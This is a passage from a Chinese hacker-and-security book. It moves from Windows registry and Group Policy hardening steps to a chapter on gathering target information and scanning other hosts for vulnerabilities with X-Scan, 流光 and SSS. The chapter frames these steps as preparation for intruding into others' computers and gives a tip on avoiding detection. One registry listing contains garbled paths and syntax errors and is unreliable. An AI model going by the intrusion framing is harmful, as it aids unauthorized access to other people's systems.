03 　在弹出的对话框中选中自己的账户，并设置权限为“完全控制”，然后单击“确定”按钮。

小提示

如果“组或用户名”列表框中没有自己的账户，可单击“添加”按钮，在弹出的对话框中进行添加。

04 　返回到“注册表编辑器”窗口，会发现“SAM”子健多出几个子键来。依次展开“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”分支，这个子键下面对应的就是当前的账户列表。

小提示

用户可事先将“HKEY_LOCAL_MA-CHINE\SAM”子键导出备份，检查时再导出一次，对照二者的不同，即可发现隐藏的超级用户了。

例2　禁止远程修改注册表

默认情况下，系统开启了注册表远程管理服务。黑客可以通过远程访问的方式对系统注册表进行修改，从而达到控制用户电脑的目的，通过修改注册表设置，可以避免这种情况的发生，禁止他人远程修改注册表的方法如下。

01 　在桌面左下角单击“开始”按钮，在“搜索”文本框中执行“regedit”命令，打开“注册表编辑器”窗口。

02 　在左侧窗格中依次展开“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg”子键，在其上单击鼠标右键，然后在弹出的快捷菜单中单击“权限”命令。

03 　在弹出的对话框中单击“添加”按钮。

04 　在接着弹出的对话框中单击“高级”按钮。

05 　在接下来弹出的对话框中单击“立即查找”按钮，在下方“搜索结果”列表框中选中想要被设置权限的用户或组，然后单击“确定”按钮。

06 　在返回到的对话框中即可看到所添加的用户和组，单击“确定”按钮。

07 　返回到上一级对话框，选中要设置权限的用户或组，在权限对话框中设置对应的权限，然后单击“确定”按钮即可。

例3　通过修改注册表永久关闭默认共享

通过修改系统的注册表，可以永久关闭系统的默认共享，一劳永逸。具体操作如下。

01 　单击系统桌面左下角的“开始”按钮，弹出“开始”菜单。在搜索框中输入“regedit”命令并按“Enter”键，打开“注册表编辑器”窗口。

02 　在左侧窗格中依次展开“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa”子键，在右侧窗格中双击“restrictanonymous”键值项。

03 　在弹出的“编辑DWORD（32位）值”对话框中将其值更改为“1”。单击“确定”按钮，关闭IPC$共享。

04 　返回到“注册表编辑器”窗口，在左侧窗格中依次展开“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lanmanserver\Parameters”子键。

05 　在菜单栏中单击“编辑”命令，在弹出的菜单中单击“新建”命令，然后在弹出的子菜单中单击“DWORD（32位）值”命令。

06 　在右侧窗格中会出现“新值#1”项并处于编辑状态，输入该键值项的名称“AutoShareWks”，按“Enter”键。

07 　使用相同的方法新建“AutoShareServer”键值项。

08 　在右侧窗格中双击“AutoShareWks”键值项。在弹出的“编辑DWORD（32位）值”对话框中将其值更改为“1”。单击“确定”按钮，关闭Admin$共享。

09 　返回到“注册表编辑器”窗口，在右侧窗格中双击“AutoShareServer”键值项，并将键值也改为“1”。单击“确定”按钮，关闭各个分区的默认共享。

10 　操作完成后，重新启动电脑应用设置即可。

例4　禁止危险的启动项

在Windows操作系统中，很多地方都可以设置程序自动启动，很多危险的程序就是隐藏在这些地方随程序自动启动的。通过对注册表的设置，可以避免危险启动项威胁电脑安全，具体操作如下。

01 　在桌面左下角单击“开始”按钮，在“搜索”文本框中执行“regedit”命令，打开“注册表编辑器”窗口。

02 　在左侧窗格中依次展开“HKEY_LOCAL_MAC HINE\SOF TWARE\Microsoft\Windows\CurrentVersion\Run”子键，在右侧窗格中右键单击可疑的启动项，然后在弹出的菜单中单击“删除”命令。

03 　在左侧窗格中右键单击“Run”子键，在弹出的快捷菜单中单击“权限”命令。

04 　在弹出的“Run的权限”对话框中，单击“添加”按钮。

小提示

如果要设置其他账户权限，可以先在“组或用户名”列表中选定账户，然后在下方的窗格中设置账户的权限。

05 　在弹出的“选择用户或组”对话框中，在“输入对象名称来选择”文本框中输入“Everyone”文本，然后单击“确定”按钮，完成账户添加。

小提示

单击“高级”按钮，在弹出的“选择用户和组”对话框中单击“立即查找”按钮，然后在打开的“搜索结果”列表框中查找并添加“everyone”账户，也可以完成账户添加。

06 　在返回的“run的权限”对话框中选中“Everyone”账户，在下方的“Everyone的权限”列表中，勾选“只读”权限，并取消其他所有权限，然后单击“确定”按钮，完成“Run”子键的权限设置。

07 　按照上述相同的方法依次展开“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce”和“HKEY_LOCAL_MACHINE\SYSTEM\CurrentC ontrolset\Services”子键，将其下可疑的自动启动项删除，然后将他们的权限设为“Everyone只读”即可。

例5　禁止他人在桌面上添加快捷方式

黑客通常会在桌面上创建木马程序的快捷方式，并且将其修改为常用程序的启动图标，一旦用户双击这些图标，就会启动木马程序。为了预防这种伪装，可以通过修改注册表，禁止他人在桌面上添加快捷方式，具体操作如下。

01 　在桌面左下角单击“开始”按钮，在“搜索”文本框中执行“regedit”命令，打开“注册表编辑器”窗口。

02 　在左侧窗格中依次展开“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer”子键，然后在右侧双击“link”键值项。

03 　在打开的对话框中将“数值数据”文本框中的值改为“00 00 00 00”，然后单击“确定”按钮。

04 　在左侧窗格中依次展开“HKEY_LOCAL_MACHIN-E\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer”子键，然后在右侧单击鼠标右键，在弹出的菜单中依次单击“新建”→“二进制值”菜单命令。

05 　将新建的二进制值命名为“link”，并根据前面的方法将该项的值修改为“00 00 00 00”，然后重新启动电脑即可。

例6　隐藏系统桌面上的各种图标

一些黑客会将病毒或木马的启动程序写入快捷方式图标，并将这些图标与其他桌面图标进行替换，以便用户在双击图标时启动病毒或木马程序。隐藏桌面图标可以在一定程度上避免这种情况的发生，具体操作如下。

01 　在桌面左下角单击“开始”按钮，在“搜索”文本框中执行“regedit”命令，打开“注册表编辑器”窗口。

02 　在窗口左侧依次展开“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer”子键，在右侧窗格中双击“NoDesktop”键值项。

小提示

由于系统的版本不同，可会会有些用户在注册表编辑器中找不到对应的子键或键值项，此时需要用户手动进行添加。

03 　在打开的对话框中将“数值数据”修改为“1”，然后退出注册表重启计算机即可。

例7　禁止普通用户查看事件记录

在日常操作电脑时，系统都会在Windows系统自带的事件查看器中保留对应的记录，这些记录可以帮助我们解决一些电脑故障，但如果黑客查看到这些记录就会更容易的入侵我们的电脑。查看事件记录的方法如下。

01 　在系统桌面上右键单击“计算机”图标，在弹出的菜单中单击“管理”命令。

02 　在打开的“计算机管理”窗口左侧依次展开“计算机管理”→“系统工具”→“事件查看器”目录，可查看电脑中的事件记录。

在日常使用电脑时应该禁止普通用户查看事件记录，具体操作步骤如下。

01 　在桌面左下角单击“开始”按钮，在“搜索”文本框中执行“regedit”命令，打开“注册表编辑器”窗口。

02 　在窗口左侧依次展开“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog”子键，在该子键目录中显示的就是电脑中的事件记录。

03 　单击“Application”子键，在右侧空白处新建一个“RestricGuestAccess”的DWORD值，然后对其双击鼠标左键。

04 　在弹出的对话框中将“数值数据”文本框中的值修改为“1”，即可禁止他人通过事件查看器查看应用程序记录。

05 　使用相同的方法，分别在“eventlog”子键下其他项中新建“RestricGuestAccess”DWORD值，并将它们的值设置为“1”，即可禁止他人查看其他事件记录。

例8　隐藏“开始”菜单的快捷命令

隐藏“开始”菜单中的快捷命令可以在一定程度上避免他人恶意修改系统信息和启动计算机中的程序。下面以通过修改注册表信息来隐藏“开始”菜单中的“关闭”系统命令为例进行介绍，具体操作如下。

01 　在桌面左下角单击“开始”按钮，在“搜索”文本框中执行“regedit”命令，打开“注册表编辑器”窗口。

02 　在窗口左侧依次展开“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer”子键，然后在右侧空白处单击鼠标右键，在弹出的菜单中依次单击“新建”→“DWORD（32位）值”菜单命令。

03 　将新建DWORD键值项命名为“NOCLOSE”，然后对其双击鼠标左键。

04 　在打开的“编辑DWORD值”对话框中将“数值数据”的值改为“1”，单击“确定”按钮，然后重启计算机即可。

隐藏其他“开始”菜单快捷命令所对应的子健如下。

隐藏“运行”命令：在注册表编辑器中展开“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer”子键，在右侧新建名为“NORUN”的DWORD键值项，并将其“数字数据”的值改为“1”。

隐藏“搜索”命令：在注册表编辑器中展开"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"子键，在右侧新建名为“NOFIND”的DWORD键值项，并将其“数字数据”的值改为“1”。

例9　配置注册表防止DDOS攻击

DDOS全名是Distributed Denial of service （分布式拒绝服务攻击），很多DOS攻击源一起攻击某台服务器就组成了DDOS攻击，合理配置注册表是防止DDOS攻击的常用办法，具体配置操作如下。

01 　在“开始”菜单中依次单击“所有程序”→“附件”→“记事本”菜单命令，在打开的窗口中输入如下文本。

    Windows Registry Editor Version 5.00
    ［HKEY_LOCAL_MACHINE\SYSTEM\CurrentcontrolSet\Services\Tcpip\Parameters］
    "EnableICMPRedirect"=dword:00000000
    "KeepAliveTime"dword:000927c0
    "SynAttackProtect"=dword:00000002
    "TcpMaxHalfOpen"=dword:000001f4
    "TcpMaxHalfOpenRetried"=dword:00000190
    "TcpMaxConnectResponseRetansmissions"=dword:00000001
    "TcpMaxDateRetransmissions"=dwords:00000003
    "TcpMaxPortsExhausted"=dword:00000005
    "DisableIPSourceRouting"=dword:00000002
    "TcpTimedWaitDelay"=dword:0000001e
    "TcpNumConnections"=dword:00004e20
    ［HKET_LACAL_MACHINE\SYSTEM\CrrentControlSet\Services\NetBT\Parameters］
    "BacklogIncrement"=dword:00000005
    "MaxConnBackLog"=dword:000007d0
    ［HKEY_LOCAL_MACHING\SYSTEM\CurrentControlSet\Services\AFD\Parameters］
    "EnableDynamicBacklog=dword:00000001
    "MinimumDynamicBacklog"=dword00000014
    "MaximumDynamicBacklog"dword:00007530
    "DynamicBacklogGrowthDelta"=dword:0000000a

02 　输入完成后将文本保存为.reg文件，当需要防止DDOS攻击时，双击该注册表文件，将其导入注册表即可。

例10　发生错误时不弹出警告窗口

在使用Windows操作系统的过程中，当用户执行一些应用程序时，有时会因为种种原因导致发生一些错误，这时，系统会弹出警告对话框，提示用户程序出错信息。但是并非所有的用户都希望弹出警告对话框，此时就可以通过修改注册表设置来禁止其弹出，具体操作方法如下。

01 　在桌面左下角单击“开始”按钮，在“搜索”文本框中执行“regedit”命令，打开“注册表编辑器”窗口。

02 　在窗口左侧依次展开“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows”子键，然后在右侧窗格中双击“ErrorMode”键值项。

03 　打开“编辑DWORD”键值项对话框，将“数值数据”文本框中的值改为“1”，则表明出现程序错误时不弹出警告信息，然后关闭注册表编辑器，重启计算机即可。

例11　禁止播放网页中的动画、声音和视频

如今，黑客喜欢将一些恶意代码、病毒或木马捆绑到网页中的图片、音乐以及视频上。当用户浏览相关信息时，IE浏览器就会自动下载带有危险程序的图片、音乐或视频等，进而严重威胁到电脑的安全。用户可以通过修改注册表信息，来避免上述情况的发生，具体操作如下。

01 　在桌面左下角单击“开始”按钮，在“搜索”文本框中执行“regedit”命令，打开“注册表编辑器”窗口。

02 　在窗口左侧依次展开“HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Media”子键，在右侧窗格空白处单击鼠标右键，然后在弹出的菜单中依次单击“新建”→“字符串值”菜单命令。

03 　将新建的键值项命名为“Play Animations”，即播放动画，然后对其双击鼠标左键。

04 　打开“编辑字符串值”对话框，在“数值数据”文本框中输入“NO”，然后单击“确定”按钮。

05 　按照相同的方法在右侧新建“DisplayInlineVidos”和“Play_Background_Sounds”键值项，并将它们的值设置为“NO”，然后退出注册表编辑器，重启计算机即可。

3.4　组策略安全设置

组策略将系统重要的配置功能汇集成各种配置模块，供用户直接使用，使得我们管理系统设置更为轻松。下面主要如何通过组策略增强系统安全和网络安全等方面的知识。

例1　设置账户锁定策略

为加强登录安全，可在组策略中设置密码策略的同时，再设置账户锁定策略。此策略可防止暴力破解账户密码，具体操作如下。

01 　在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。

02 　在窗口左侧依次展开“计算机配置”→“Windows设置”→“账户策略”→“账户锁定策略”分支，在右侧双击“账户锁定阈值”策略。

03 　在打开的对话框中将文本框中的值设置为“3”，这样，其他用户在尝试登录3次后未能成功，账户就将被锁定。

启用此项设置后，会弹出“建议的数值改动”对话框，用于设置确定账户锁定后多长时间复位（即允许再次输入密码登录），可根据需要改变设置。

例2　禁用重要策略选项

禁用部分重要策略选项可以提高系统的安全性，具体操作步骤如下。

01 　在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。

02 　在窗口左侧依次展开“用户配置”→“管理模板”→“Windows组件”→“Windows资源管理器”目录，然后在右侧找到并双击“从工具菜单中删除文件夹选项”策略项。

03 　在弹出对话框中选择“已禁用”选项，然后单击“确定”按钮完成设置。

例3　禁止访问控制面板

通过组策略编辑器，用户可以设置禁止访问控制面板，以增强电脑的安全性，具体操作如下。

01 　在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。

02 　在窗口左侧依次展开“本地计算机策略”→“用户配置”→“管理模版”→“控制面板”目录，在右侧的窗格中双击“禁止访问控制面板”策略项。

03 　在弹出的“禁止访问控制面板”对话框中选择“已启用”单选项，单击“确定”按钮即可。

例4　禁止远程访问注册表

禁止他人远程访问注册表可以在一定程度上提高计算机的安全性。通过修改组策略信息来禁止访问注册表的具体操作如下。

04 　在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。

05 　在窗口左侧依次展开“计算机配置”→“Windows设置”→“安全设置”→“本地策略”→“安全选项”目录，在右侧双击“网络访问：可远程访问的注册表路径”策略项。

06 　在弹出的对话框中将可远程访问的注册表路径和子路径内容全部删除，然后单击“确定”按钮即可。

例5　利用组策略锁定注册表

通过前面的学习知道我们可以通过设置注册表来管理电脑，然而，如果黑客对注册表进行修改，也可以更轻易的入侵我们的电脑，为避免这一情况的发生，可以修改组策略设置来禁用注册表，具体操作如下。

01 　在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。

02 　在窗口左侧依次展开“本地计算机策略”→“用户配置”→“管理模版”→“系统”，在右侧窗格中双击“阻止访问注册表编辑工具”策略。

03 　在弹出的对话框中选择“已启用”单选项，然后单击“确定”按钮即可。

例6　禁止更改桌面设置

在系统桌面上，其他用户采用鼠标拖拽、删除和快捷键等方法即可更改其设置。通过组策略禁止更改桌面设置，可以预防他人对系统桌面的恶意更改，从而在一定程度上增强了电脑的安全性。

01 　在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。

02 　在窗口左侧依次展开“用户配置”→“管理模版”→“桌面”目录，在右侧的窗格中双击“禁止添加、拖、放和关闭任务栏的工具栏”策略项。

03 　在弹出的对话框中选择“已启用”单选项，然后单击“确定”按钮即可。

例7　禁用“开始”菜单的快捷命令

禁用“开始”菜单中的快捷命令，可以防止黑客利用木马替换“开始”菜单中的“公共”程序组，例如“我的文档”图标、“文档”菜单和“网络邻居”图标等，禁用“开始”菜单中“文档”图标的方法如下。

01 　在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。

02 　在窗口左侧依次展开“本地计算机策略”→“用户配置”→“管理模版”→“开始菜单和任务栏”目录，在右侧窗格中双击“从开始菜单中删除‘文档’图标”策略项。

03 　在弹出的对话框中选择“已启用”单选项，最后单击“确认”按钮即可。

例8　用组策略启用重要系统功能

目前，Windows操作系统的功能已经比较全面，在其中内置了很多有用的功能，我们在使用计算机的过程中可以启用这些功能，以增强系统和网络安全，具体操作如下。

01 　在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。

02 　在窗口左侧依次展开“计算机配置”→“Windows设置”→“安全设置”→“本地策略”→“审核策略”目录，然后在右侧双击“审核账户管理”策略项。

03 　在弹出的对话框中勾选“成功”复选项选项，单击“确定”按钮。

04 　按照相同的方法将“审核登录事件”、“审核策略改变”、“审核权限使用”、“审核系统事件”策略项都设置为“成功”即可。

例9　关闭系统的135端口

135端口主要用于使用RPC（Remote Procedure Call，远程过程调用）协议并提供DCOM（分布式组件对象模型）服务。当系统的135端口处于开启状态时，黑客可能通过它实现对本机的远程控制，从而带来巨大的安全威胁。所以在不必要的情况下应将其关闭，通过组策略编辑器关闭135端口的具体操作如下。

01 　在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。

02 　在窗口左侧依次展开“本地计算机策略”→“计算机配置”→“Windows设置”→“安全设置”→“本地策略”→“用户权限分配”目录，然后在右侧窗格中双击“拒绝从网络访问这台计算机”策略项。

03 　在弹出的“拒绝从网络访问这台计算机”对话框中，单击“添加用户和组”按钮。

04 　在弹出的“选择用户和组”对话框中，在“输入对象名称未选择”文本框中输入“Everyone”文本，然后连续单击两次“确定”按钮，即可关闭135端口。

例10　用组策略清理上网痕迹

在Windows操作系统中，我们可以个性的设置组策略，通过添加脚本，实现对IE的自动的清理，具体操作如下。

01 　在系统桌面左下角单击“开始”按钮，在弹出的“开始”菜单中依次单击“所有程序”→“附件”→“记事本”菜单命令，在打开的窗口中对照下图输入其中的文本。

02 　在“记事本”窗口中依次单击“文件”→“保存”菜单命令，将文件保存为“Cleanup.bat”脚本文件。

03 　打开本地组策略编辑器，依次展开“用户配置”→“Windows设置”→“脚本（登录/注销）”目录，在右侧双击“注销”策略项。

04 　在弹出的对话框中切换到“PowerShell”选项卡，然后单击“添加”按钮。

05 　在弹出的对话框中单击“浏览”按钮，将前面创建的脚本文件添加进来，然后单击“确定”按钮保存设置即可。

第4章　信息搜集与漏洞扫描

4.1　搜集信息

搜集信息是入侵他人电脑前必须做的准备，只有掌握了足够的信息才能顺利的进入他人电脑，从而实施进一步的操作。本节将介绍收集信息的方法。

例1　使用专业网站获取IP地址

目前，网络上有很多可以根据相关信息搜寻网络主机IP地址或域名的网站，通过这些网站，我们可以轻松地获得目标主机的网络IP地址，下面介绍具体的操作方法。

01 　启动IE或其他网页浏览器，在地址栏中输入IP查询网站的网址，这里以“站长工具”网站为例，输入网址“http://ip.chinaz.com”后按“Enter”键访问该网站。

02 　在搜索栏中输入要搜索的网站域名，这里以搜索百度网站为例，在搜索栏输入www.baidu.com，然后单击“查询”按钮，即可在搜索结果中查看相关的IP信息。

获取目标主机的IP地址的方法有很多，可以使用Windows自带的ping命令获取。在本书前面的内容中已经对ping命令做了详细的介绍。

例2　使用工具获取目标IP的物理位置

目前有很多专门的IP查询工具，通过它们可以方便地查询目标IP的物理位置。这里以“超级IP查询工具”为例，该软件可以查询全球所有IP的详细信息。具体操作如下。

01 　下载“超级IP查询工具”软件，一般为压缩包，直接解压，在解压目录中双击“IPQuery.exe”图标启动该软件。

02 　在打开的界面中，在“要查询的IP或域名”文本框中输入IP地址，在“IP查询服务器”下拉列表中可以指定查询服务器，选择好后单击“查询”按钮。

03 　程序会根据设置对目标主机进行搜索，待搜索完毕后会在“查询结果”文本框中列出所有信息，其中包括IP地址对应的主机地理位置。

小提示

还有一些功能比较强大的IP查询工具，例如，超级查询工具箱，不但可以查询IP地址对应的物理地址，还可以查询电话号码的物理地址。

例3　通过专业网站查询目标IP所在位置

除了可以使用软件查询目标IP的物理位置外，还可以通过一些专业的网站来查询。具体操作如下。

01 　启动IE或其他网页浏览器，在地址栏中输入指定IP查询网站的网址，这里以“123查网虫工具”IP查询网站为例，输入其网址“http://www.123cha.com/ip”，然后按“Enter”键进行访问。

02 　在搜索框中输入目标主机的IP地址，然后单击“查询”按钮，在搜索结果中即可查看到目标电脑的地理位置。

此外，还有许多IP查询网站都可以通过IP地址查找目标主机的地理位置，例如：萍心网（http://www.dheart.net/ip）、中国站之家（http://ip.webmasterhome.cn）等。

例4　通过域名查询网站备案信息

网站备案是根据国家法律法规需要网站的所有者向国家有关部门申请的备案。我们可以通过这些备案信息来查看该网站的详细信息。查询途径主要有两种：一种是到网站监督局查询，一种就是通过网络查询，这种方式较常用。

通过网络查询网站备案，主要是利用很多网站提供的WHOIS查询工具来实现。下面学习具体的操作方法。

小提示

WHOIS是一个用来查询域名的IP以及所有者等信息的传输协议，通过它可以获得指定域名的所有人、注册日期、过期日期等域名注册信息。

01 　启动IE或其他网页浏览器，在百度搜索引擎中搜索关键字“WHOIS查询”，在搜索结果中单击一个网站链接，这里以百度提供的WHOIS查询网址为例。

02 　进入WHOIS查询页面，在搜索框中输入要查询的网站域名，单击“查询”按钮，即可查看对应网站的备案信息。

4.2　检测系统漏洞

系统漏洞是威胁电脑安全的主要因素之一，也是黑客进行网络攻击时经常利用的对象。因此，想要成为一名黑客，检测系统是一门必修的课程。

例1　使用MBSA检测系统安全性

MBSA（Microsoft Baseline Security Analyzer，微软基准安全分析器）不仅适用于Windows NT/2000/XP/2003，还适用于较新的Windows Vista/2008和Windows 7等操作系统，它不仅可以检测系统存在的安全漏洞，还提供了详细的解决方案和补丁下载地址。如果用户拥有足够的权限，还可以对局域网或远程计算机进行安全检测。

使用MBSA检测计算机系统的方法如下。

01 　登录微软的官方网站下载并安装最新版本的MBSA软件。安装完成后启动该软件，在主界面中单击“Scan a computer”链接，扫描某一台计算机。

02 　在接着打开的界面中设置要扫描的计算机，如果要扫描本地主机，可在“computer name”下拉列表框中选中本地主机，如果要扫描其他主机，则可在“IP address”文本框中输入对应主机的IP地址，然后单击“Start Scan”按钮。

03 　MBSA开始对指定主机进行扫描，此过程由系统自动完成，用户只需耐心的等待。

04 　待扫描完成后会在打开的界面中显示所有的扫描结果，用户可在该界面中进行查看。

小提示

如果需要对某一范围内的多台计算机进行扫描，可在主界面中单击“Scan multiple computers”链接，在打开的界面中的“IP address range”文本框中设置要扫描的IP地址范围，然后单击“Start Scan”链接，程序会对该地址段的计算机进行扫描，并在扫描结束后显示各主机的安全信息。

例2　使用X-Scan扫描器系统漏洞

X-Scan扫描器适用于Windows NT/2000/XP/2003等操作系统。采用多线程方式对指定IP地址段（或单个IP）进行安全漏洞检测，支持插件功能。扫描内容主要包括：远程服务类型、操作系统类型及版本、各种弱口令漏洞、后门、应用服务漏洞、网络设备漏洞、拒绝服务漏洞等。对于多数已知漏洞，会给出相应的描述和解决方案。

小提示

X-Scan V3.0及后续版本还提供了简单的插件开发包，便于有编程基础的朋友自己编写或修改X-Scan插件。

使用X-Scan扫描计算机漏洞的具体操作如下。

01 　下载并解压X-Scan压缩包，双击“xscan_gui.exe”文件打开程序操作界面，然后菜单栏依次单击“设置”→“扫描参数”菜单命令。

02 　在弹出的“扫描参数”对话框中，在“指定IP范围”文本框中设置扫描范围，单击“示例”按钮可查看设置规则。

03 　在左侧窗格中依次展开“全局设置”→“扫描报告”选项，然后在右侧设置需要扫描的内容。

04 　在左侧窗格中选中“全局设置”→“并发扫描”选项，在右侧设置最大并发主机数量、最大并发线程数量及各插件的最大并发线程数量等选项。

05 　在左侧窗格中选中“全局设置”→“扫描报告”选项，在右侧设置扫描报告生成的格式、文件名称等内容。

06 　在左侧窗格中选中“全局设置”→“其他设置”选项，在右侧设置是否跳过没有相应的主机、是否跳过没有检测到的开放端口的主机等选项。

07 　在左侧窗格中依次展开“插件设置”→“NETBIOS相关设置”选项，在右侧勾选针对Windows系统的NETBIOS信息的检测选项。

08 　在左侧窗格中选中“插件设置”→“漏洞检测脚本设置”选项，在右侧取消勾选“全选”按钮，然后单击“选择脚本”按钮。

小提示

由于脚本漏洞扫描的某些检测对他人主机有破坏性，可能导致目标主机出现死机、重启、服务异常等情况，这使得扫描操作容易被人发现，所以这里应勾选“安全扫描（跳过破坏性扫描）”复选框。

09 　在弹出的对话框中勾选需要的脚本类型，这里以“CGI abuses”为例，选择完成后直接单击“确定”按钮。

10 　返回到“扫描参数”对话框，在左侧窗格中选中“插件设置”→“CGI相关设置”选项，然后在右侧可以选择与CGI相关的选项，包括各种字符替换方式。

11 　在左侧窗格中选中“插件设置”→“字典文件设置”选项，然后在右侧双击需要设置的字典。

12 　在打开的“打开”对话框中选中要添加的文件，按住“Ctrl”键，使用鼠标单击对应文件可同时选中多个文件，然后单击“打开”按钮。

13 　返回到“参数设置”对话框，检查其他设置，确认无误后单击“另存”按钮。

14 　在弹出的“另存为”对话框中设置文件的保存位置及文件名，单击“保存”按钮保存设置，以便今后使用。

小提示

当需要使用已设置好的参数对IP段（或单个IP地址）的主机进行扫描时，可打开参数设置对话框，单击“载入”按钮，然后将上述文件载入X-Scan程序即可。

15 　参数设置完毕并保存好后，在“参数设置”对话框中单击“确定”按钮返回X-Scan程序主界面，然后依次单击“文件”→“开始扫描”菜单命令。

16 　程序开始对指定主机进行扫描，此过程由系统自动完成，用户需耐心等待。

17 　待扫描结束后，程序会以前面设置的报告格式显示扫描结果，例如，“扫描报告”的文件类型设置的是“txt”，扫描结束后就会弹出一个记事本文档，显示扫描结果。

例3　使用流光扫描器扫描主机

流光扫描器是一款大名鼎鼎的国产黑客工具，它具有强大的漏洞扫描、密码破解、网络嗅探及网络渗透功能。如此多的功能对于初学者来说可能会比较繁琐，不过其软件主界面为中文，用户可以慢慢探索。下面介绍使用流光扫描器批量扫描局域网内的主机的方法。

01 　下载并安装流光扫描器。启动其主程序，在打开的软件界面中依次单击“文件”→“高级扫描向导”菜单命令。

02 　在弹出的“设置”对话框中设置扫描的IP地址段，其他项保持默认设置，然后单击“下一步”按钮。

03 　在弹出的对话框中设置扫描端口的范围，选择“自定端口扫描范围”选项，可在其下方设置端口的范围，本例保持默认设置，直接单击“下一步”按钮。

04 　在弹出的“POP3”对话框中询问是否扫描“POP3”信息，这里保持默认设置，直接单击“下一步”按钮。

05 　在弹出的对话框中询问是否获取FTP版本，保持默认设置，直接单击“下一步”按钮。

06 　在弹出的“SMTP”对话框中设置是否进行EXPN/VRFY扫描和是否获取SMTP版本，然后单击“下一步”按钮。

07 　在弹出的“IMAP”对话框中保持默认设置，单击“下一步”按钮。在接着弹出的对话框中直接单击“下一步”按钮。

08 　在弹出的“CGI”对话框中根据实际情况勾选或取消勾选对应选项，然后单击“下一步”按钮。

09 　在弹出的对话框中单击下拉按钮，将操作系统设置为“All”，根据实际情况勾选或取消勾选“漏洞列表”中的选项，然后单击“下一步”按钮。

10 　在弹出的“SQL”对话框中保持默认设置，直接单击“下一步”按钮。

11 　在弹出的“IPC”对话框中根据实际情况勾选或取消勾选对应的选项，然后单击“下一步”按钮。

12 　在弹出的“IIS”对话框中单击“下一步”按钮，在接着弹出的对话框中同样单击“下一步”按钮。

13 　在弹出的“RPC”对话录中设置是否扫描“RPC”服务，然后单击“下一步”按钮。

14 　在弹出的“MISC”对话框中设置扫描内容，然后单击“下一步”按钮。

15 　在弹出的“PLUGINS”对话框中单击下拉按钮，将系统类型设置为“All”，然后单击“下一步”按钮。

16 　在弹出的“选项”对话框中设置各项文件的保存位置，然后单击“完成”按钮。

17 　在弹出的“选择流光主机”对话框中将主机设置为“本机主机”，然后单击“下一步”按钮。流光软件开始对前面设置的IP地址段中的计算机进行扫描。

18 　当扫描到安全漏洞时，流光会弹出“扫描结果”对话框，在其中可以查看能够连接成功的主机和其扫描得到的安全漏洞信息。

例4　使用SSS扫描器扫描漏洞

SSS（Shadow Security Scaner）是一款在黑客界中赫赫有名的系统漏洞扫描工具，可以对大范围内的系统漏洞进行安全、高效、可靠的安全检测。该工具适用于Windows 2000、Windows XP及早期的Windows操作系统，下面介绍这款扫描工具的用法。

01 　下载并安装SSS扫描器，启动其主程序，在软件主界面中单击左上角的“New session”按钮。

02 　在弹出的对话框中选择预设的扫描方式，如果需要自定义扫描规则，则单击“Add rule”按钮。

03 　在弹出的对话框中根据需要创建扫描规则，在“please，enter new rule name”文本框中输入新建规则的名称，单击“OK”按钮。

04 　在弹出的“Security Scanner Rules”对话框中根据需要设置新规则的相关选项，本例保持默认设置，直接单击“OK”按钮。

05 　返回到上一级对话框，选中新建的扫描规则，然后单击“Next”按钮。

06 　在弹出的“New session”对话框中单击“Add host”按钮。

07 　在弹出的“Add host”对话框中选中“host”单选项，然后在“Name or IP”文本框中输入主机名称或IP地址，本例输入“192.168.1.254”，然后单击“Add”按钮。

小提示

在“Add host”对话框中，“Hosts range”项用于设置扫描的IP地址范围。“Hosts from file”项中可通过指定已有的目标主机列表文件来添加要扫描的计算机。“Host groups”项中可通过添加工作组的方式添加目标计算机，并设置登录的用户名和密码。

08 　返回到“New session”对话框，选中新添加的IP地址，然后单击“Next”按钮。

09 　返回到软件主界面，单击“Start scan”按钮，开始扫描系统漏洞。

10 　在扫描过程中，用户可在“Statistics”标签卡下查看扫描的进度，在“scanner”选项卡下查看扫描结果，及危险程序的补救措施等。

此外，使用SSS还能进行DoS安全性检测，方法如下。

01 　在软件主界面左侧的“Scanner”选项列表框中单击“DoS Checker”按钮。

02 　在弹出的对话框中在左侧选中扫描方式，拖动“Thread”栏的滑块设置扫描的线程数，然后单击“Start”按钮，即可进行DoS检测，并给出结果。

小提示

在软件主界面中单击“Options”按钮，然后在弹出的对话框中还可以对“General（常规）”、“Scanner（扫描参数）”、“Schdulers（扫描时间表）”、“Auto update（自动更新）”、“Sounds（报警音）”和“Nmap（Nmap扫描规则）”等相关选项进行设置。

4.3　扫描服务和端口

系统服务和端口也是黑客入侵的途径之一。在不必要的情况下应关闭重要的系统服务和端口。对普通用户或黑客初学者来说，可能查找自己或他人电脑中开启的服务和端口有些难度，本节就针对这个难点进行讲解。

例1　使用SuperScan扫描服务和端口

